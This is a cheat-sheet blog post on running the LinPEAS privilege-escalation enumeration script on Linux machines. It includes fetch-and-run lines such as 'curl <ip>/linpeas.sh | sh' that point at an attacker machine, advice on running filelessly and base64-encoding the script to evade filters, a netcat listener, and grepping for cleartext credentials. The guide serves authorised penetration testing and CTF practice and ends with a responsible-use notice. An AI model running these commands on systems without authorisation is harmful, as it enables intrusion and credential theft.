root@sparrow:~/writeups$ cat linpeas.md
// privesc
LinPEAS
21 Jul 2026
· 3 min read
LinPEAS is the automated Linux privilege escalation enumeration script from the PEASS-ng project. It sweeps the system looking for privilege escalation paths —SUIDbinaries, weak permissions, credentials,cronjobs, vulnerable kernels— and colors each finding by how likely it is to be exploitable. It is the first tool you run after landing a low-privilege shell.
The color coding is not decorative: red/yellow flags the vectors most likely to be exploitable, and that is where you should look first. LinPEAS is noisy and drops the script on disk, so in a monitored environment it is better to run it fileless (curl | sh) and save the output to review calmly. It produces a huge amount of text, so redirecting it to a file and reading it with less -R is almost mandatory.
1. Beginner level — download, run and output

| Command | What it does |
|---|---|
curl -L url/linpeas.sh -o linpeas.sh | Downloads the LinPEAS script |
chmod +x linpeas.sh | Gives execution permissions to the script |
./linpeas.sh | Runs the full automated enumeration |
./linpeas.sh -a | Also includes the slower checks |
./linpeas.sh -q | Quiet mode, no ASCII banner |
./linpeas.sh > out.txt | Saves all the output to a file |
./linpeas.sh | tee out.txt | Prints to screen and saves at the same time |
python3 -m http.server 80 | Serves linpeas.sh from your attacker machine |
wget <ip>/linpeas.sh -O /tmp/l.sh | Downloads the script onto the victim machine |
curl <ip>/linpeas.sh | sh | Downloads and runs in a single step |
./linpeas.sh -h | Shows the help with all the options |
./linpeas.sh -o SystemInfo | Runs only one category of checks |
cat out.txt | grep -A5 "possible" | Searches for standout findings already saved |
less -R out.txt | Reviews the output keeping the colors |
2. Advanced level — transfer, filtering and manual checks

| Command | What it does |
|---|---|
./linpeas.sh -a -q > out.txt 2>&1 | All checks, quiet, with stderr |
./linpeas.sh -P password | Tests a known password against sudo/su |
./linpeas.sh | strings | grep -i pass | Filters cleartext credentials |
./linpeas.sh -a -o Superfast,Recommended | Combines custom check categories |
scp linpeas.sh user@<t>:/tmp/ | Transfers the script over SCP if SSH is available |
base64 -w0 linpeas.sh | Encodes the script to evade simple filters |
crontab -l | Complements LinPEAS: reviews cron manually |
find / -perm -4000 2>/dev/null | Complements LinPEAS: searches for SUID by hand |
getcap -r / 2>/dev/null | Complements LinPEAS: searches for capabilities |
./linpeas.sh -s | Skips checking known CVEs against the internet |
tmux new -s recon | Runs LinPEAS in tmux without losing the session |
diff out_antes.txt out_despues.txt | Compares two runs to spot changes |
rlwrap nc -lvnp 4444 | Listener with history, useful before launching the script |
chmod +x linpeas.sh; ./linpeas.sh -a | Chains permissions + full run in a single step |
3. Details people miss
- LinPEAS does not need
rootto run —that is the whole point—, but asrootit sees more; its goal is precisely to find the path from your low-privilege user up toroot. - The colors only show in a terminal; if you redirect to a file you lose the highlighting unless you later open it with
less -R, which interprets the ANSI codes. - Running it fileless with
curl <ip>/linpeas.sh | shavoids leaving the script on disk, but you need connectivity back to your attacker machine andcurlorwgetpresent. - On boxes with no internet access use
-sto skip the online CVE checks: without that flag those checks hang waiting for a timeout and slow down the whole run. - Treat LinPEAS as a starting point, not the final answer: always validate SUID (
find / -perm -4000),capabilitiesandcronby hand, because a false negative from the script does not mean the vector is not there.
Responsible use
These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.